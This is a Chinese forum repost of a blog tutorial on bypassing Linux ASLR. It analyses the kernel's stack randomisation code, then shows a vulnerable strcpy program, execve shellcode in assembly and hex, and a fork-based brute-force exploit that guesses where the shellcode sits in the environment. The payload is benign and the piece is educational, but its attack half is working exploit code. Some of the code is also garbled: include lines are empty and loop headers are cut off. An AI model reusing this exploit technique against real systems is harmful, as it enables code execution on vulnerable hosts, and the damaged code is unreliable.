- 论坛徽章:
- 0
|
Normal
0
7.8 磅
0
2
MicrosoftInternetExplorer4
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:普通表格;
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin:0cm;
mso-para-margin-bottom:.0001pt;
mso-pagination:widow-orphan;
font-size:10.0pt;
font-family:"Times New Roman";
mso-fareast-font-family:"Times New Roman";}
ASLR(Address space layout randomization)是一种针对缓冲区溢出的安全保护技术,通过对栈、共享库映射等线性区布局的随机化,防止攻击者定位攻击代码位置,达到阻止溢出攻击的目的。据研究表明ASLR可以有效的降低缓冲区溢出攻击的成功率,如今Linux、FreeBSD、Windows等主流操作系统都已采用了该技术。
以下是在Ubuntu7.04上对地址空间布局的测试:
[test.c]
#include
#include
main()
{
char *i;
char buff[20];
i=malloc(20);
sleep(1000);
free(i);
}
lk@lk-laptop:~$ ps -aux|grep test
Warning: bad ps syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html
lk 8731 0.0
0.0 1632 332 pts/0
S+ 18:49 0:00 ./test
lk 8766 0.0
0.0 2884 748 pts/1
R+ 18:49 0:00 grep test
lk@lk-laptop:~$ cat /proc/8731/maps
08048000-08049000 r-xp 00000000 08:01 2256782
/home/lk/Desktop/test
08049000-0804a000 rw-p 00000000 08:01 2256782
/home/lk/Desktop/test
0804a000-0806b000 rw-p 0804a000 00:00 0
[heap]
b7e60000-b7e61000 rw-p b7e60000 00:00 0
b7e61000-b7f9c000 r-xp 00000000 08:01 12116
/lib/tls/i686/cmov/libc-2.5.so
b7f9c000-b7f9d000 r--p 0013b000 08:01 12116
/lib/tls/i686/cmov/libc-2.5.so
b7f9d000-b7f9f000 rw-p 0013c000 08:01 12116
/lib/tls/i686/cmov/libc-2.5.so
b7f9f000-b7fa2000 rw-p b7f9f000 00:00 0
b7fae000-b7fb0000 rw-p b7fae000 00:00 0
b7fb0000-b7fc9000 r-xp 00000000 08:01 12195
/lib/ld-2.5.so
b7fc9000-b7fcb000 rw-p 00019000 08:01 12195
/lib/ld-2.5.so
bfe86000-bfe9c000 rw-p bfe86000 00:00 0
[stack]
ffffe000-fffff000 r-xp 00000000 00:00 0
[vdso]
lk@lk-laptop:~$ ps -aux|grep test
Warning: bad ps syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html
lk 8781 0.0
0.0 1632 332 pts/0
S+ 18:49 0:00 ./test
lk 8785 0.0
0.0 2884 748 pts/1
R+ 18:49 0:00 grep test
lk@lk-laptop:~$ cat /proc/8781/maps
08048000-08049000 r-xp 00000000 08:01 2256782
/home/lk/Desktop/test
08049000-0804a000 rw-p 00000000 08:01 2256782
/home/lk/Desktop/test
0804a000-0806b000 rw-p 0804a000 00:00 0
[heap]
b7e1e000-b7e1f000 rw-p b7e1e000 00:00 0
b7e1f000-b7f5a000 r-xp 00000000 08:01 12116
/lib/tls/i686/cmov/libc-2.5.so
b7f5a000-b7f5b000 r--p 0013b000 08:01 12116
/lib/tls/i686/cmov/libc-2.5.so
b7f5b000-b7f5d000 rw-p 0013c000 08:01 12116
/lib/tls/i686/cmov/libc-2.5.so
b7f5d000-b7f60000 rw-p b7f5d000 00:00 0
b7f6c000-b7f6e000 rw-p b7f6c000 00:00 0
b7f6e000-b7f87000 r-xp 00000000 08:01 12195
/lib/ld-2.5.so
b7f87000-b7f89000 rw-p 00019000 08:01 12195
/lib/ld-2.5.so
bfe23000-bfe39000 rw-p bfe23000 00:00 0
[stack]
ffffe000-fffff000 r-xp 00000000 00:00 0
[vdso]
通过两次运行后对比/proc下的进程信息可以发现进程栈和共享库映射的地址空间都有了较大的变化,这使得以往通过esp值来猜测shellcode地址的成功率大大降低了。Phrack59期有一篇文章介绍过使用return-into-libc的方法突破ASLR保护,不过存在着较大的条件限制,milw0rm的一篇文章也介绍了通过搜索linux-gate.so.1中的jmp
%esp指令从而转向执行shellcode的方法,不过由于现在的编译器将要恢复的esp值保存在栈中,因此也不能继续使用,下面要介绍的是将shellcode放在环境变量中的通用方法。
将shellcode放在环境变量中是比较早期的一种技术了,不过在突破ASLR保护时仍能起到很好的效果,要了解其中的原因,首先要分析一下可执行文件的加载过程。Linux系统中提供了execve()系统调用,用来将可执行文件描述的新文境替换原进程的文境,execve()系统调用的内核入口是sys_execve(),sys_execve()将可执行文件的路径名拷贝到内核空间后调用do_execve(),并将路径名指针、argv数组指针、envp数组指针和pt_regs结构指针传递给它。do_execve()分配一个linux_binprm结构,用可执行文件的数据填充该结构,包括调用copy_strings_kernel()和copy_strings()将可执行文件的路径名、环境变量字串、命令行参数字串拷贝到linux_binprm结构的page指针数组指向的内核页面中(从后往前拷),然后通过search_binary_handler()搜索并调用可执行文件对应的加载函数,其中elf文件对应的是load_elf_binary()。
struct linux_binprm{
char buf[BINPRM_BUF_SIZE];
struct page *page[MAX_ARG_PAGES];
struct mm_struct *mm;
unsigned long p; /* current top of mem
*/
int sh_bang;
struct file * file;
int e_uid, e_gid;
kernel_cap_t cap_inheritable,
cap_permitted, cap_effective;
void *security;
int argc, envc;
char * filename; /* Name of binary as seen by procps */
char * interp; /* Name of the binary really executed. Most
of the time same as filename, but could
be
different for binfmt_{misc,script} */
unsigned interp_flags;
unsigned interp_data;
unsigned long loader, exec;
};
load_elf_binary()的主要流程是把page指针数组指向的内核页面映射回用户空间,接着将可执行文件和解释器的部分区段映射到用户空间,并设置用户空间栈上的argc,argv[],envp[]和解释器将用到的辅助向量。为了将page指针数组指向的页面映射到用户空间,load_elf_binary()中调用了setup_arg_pages(),对应代码如下:
retval = setup_arg_pages(bprm, randomize_stack_top(STACK_TOP),
executable_stack);
其中,STACK_TOP的值通常等于0xc0000000,即用户空间的顶端,randomize_stack_top()首先判断内核是否开启了ASLR保护,如果开启,则调用get_random_int()获得一个随机数,并和STACK_RND_MASK(0x7ff)相与后再左移PAGE_SHIFT(12)位得到random_variable,最后将stack_top按页边界对齐后减去random_variable,得到最终的stack_top值,由此我们可以算出stack_top可能的最小值为0xc0000000-0x7ff000=0xbf801000。
static unsigned long randomize_stack_top(unsigned long stack_top)
{
unsigned int random_variable =
0;
if ((current->flags &
PF_RANDOMIZE) &&
!(current->personality &
ADDR_NO_RANDOMIZE)) {
random_variable = get_random_int()
& STACK_RND_MASK;
random_variable }
#ifdef CONFIG_STACK_GROWSUP
return PAGE_ALIGN(stack_top) +
random_variable;
#else
return PAGE_ALIGN(stack_top) -
random_variable;
#endif
}
stack_base的值是按以下代码确定的:
stack_base = arch_align_stack(stack_top - MAX_ARG_PAGES*PAGE_SIZE);
stack_base = PAGE_ALIGN(stack_base);
其中,MAX_ARG_PAGES和PAGE_SIZE的值分别为32和4096,即参数的总长度不得超过32个页面。通过将sp减去一个随机数除8192的余数后,末尾四位取0,再进行PAGE_ALIGN,可以得到最终的stack_base值,由此可以算出stack_base可能的最小值为0xbf7df000。
unsigned long arch_align_stack(unsigned long sp)
{
if (!(current->personality &
ADDR_NO_RANDOMIZE) && randomize_va_space)
sp -= get_random_int() %
8192;
return sp & ~0xf;
}
最后setup_arg_pages()通过循环调用install_arg_page将page指针数组指向的内核页面映射到用户空间中stack_base开始的区域:
for (i = 0 ; i struct page *page =
bprm->page;
if (page) {
bprm->page = NULL;
install_arg_page(mpnt, page,
stack_base);
}
stack_base += PAGE_SIZE;
}
这时,用户空间栈的布局如下:
(内存高址)
---------- stack_top
+ …… +
----------
+ NULL +
----------
+ 路径名 +
----------
+ 环境变量字串 +
----------
+ 命令行参数字串 +
----------
+ …… +
---------- stack_base
(内存低址)
通过以上分析可以得到:(1)、当向程序传递相同的环境变量时,即使stack_base的值是不固定的,但环境变量字串在页内的偏移却是一个固定的值,也就是环境变量字串地址的末尾3位是固定的。(2)、由于stack_base的可能最小值不会小于0xbf7df000,因此环境变量字串的地址总是高于0xbf7df000。
当我们把shellcode作为环境变量传递给被攻击程序时,便可通过路径名长度和shellcode长度确定shellcode地址的末尾3位,而头2位则是固定的bf,中间3位的范围是7df~fff,这只是一个很小的区间,如果同时开启多个进程以不同地址进行尝试的话,很快便能命中我们的shellcode。
以下是演示程序:
[vul.c]
#include
#include
#include
int main(int argc,char **argv)
{
char buff[200];
printf("SCD(%p)\n",getenv("SCD"));
strcpy(buff,argv[1]);
}
[shellcode]
.section .data
.globl _start
_start:
jmp 2f
1:
popl %esi
xorl %eax,%eax
movb %al,0x3(%esi)
movl %esi,0x4(%esi)
movl %eax,0x8(%esi)
movl 0x8(%esi),%edx
leal 0x4(%esi),%ecx
movl %esi,%ebx
movb $0xb,%al
int $0x80
2:
call 1b
.string "run"
[run.c]
#include
main()
{
system("touch test");
system("killall exp");
}
[exp.c]
#include
#include
#include
#include
#include
char
scd[]="SCD=\x90\x90\x90\x90\xeb\x18\x5e\x31\xc0\x88\x46\x03\x89\x76\x04\x89\x46\x08\x8b\x56\x08\x8d\x4e\x04\x89\xf3\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xffrun";
int main(int argc,char **argv)
{
int i,j,addr;
char buff[240];
char
*sargv[]={"vul",buff,NULL};
char *senvp[]={scd,NULL};
addr=0xbfa81fd1;
for(i=0;i {
printf("try SCD addr
0x%x\n",addr);
*((int *)scd+1)=addr+4;
for(j=0;j *((int *)buff+j)=addr+4;
if(fork()==0)
{
while(1)
{
if(fork()==0)
{
execve(sargv[0],sargv,senvp);
exit(EXIT_FAILURE);
}
wait(NULL);
}
}
addr+=0x1000;
}
}
其中vul.c是漏洞程序,shellcode的功能是执行run程序,run程序在当前目录下建立一个test文件,并结束exp进程。将页面大小4096减去NULL指针的长度4,再减去路径名"vul"的长度4和scd数组的长度43,再加上开头4个字符的长度,最后便可得到shellcode在页面内的偏移值fd1,同时开启20个进程分别以0xbfa81fd1等不同地址进行尝试,很快目录下便出现test文件,证明我们的shellcode如期执行了。
本文来自ChinaUnix博客,如果查看原文请点:http://blog.chinaunix.net/u3/102108/showart_2025891.html |
|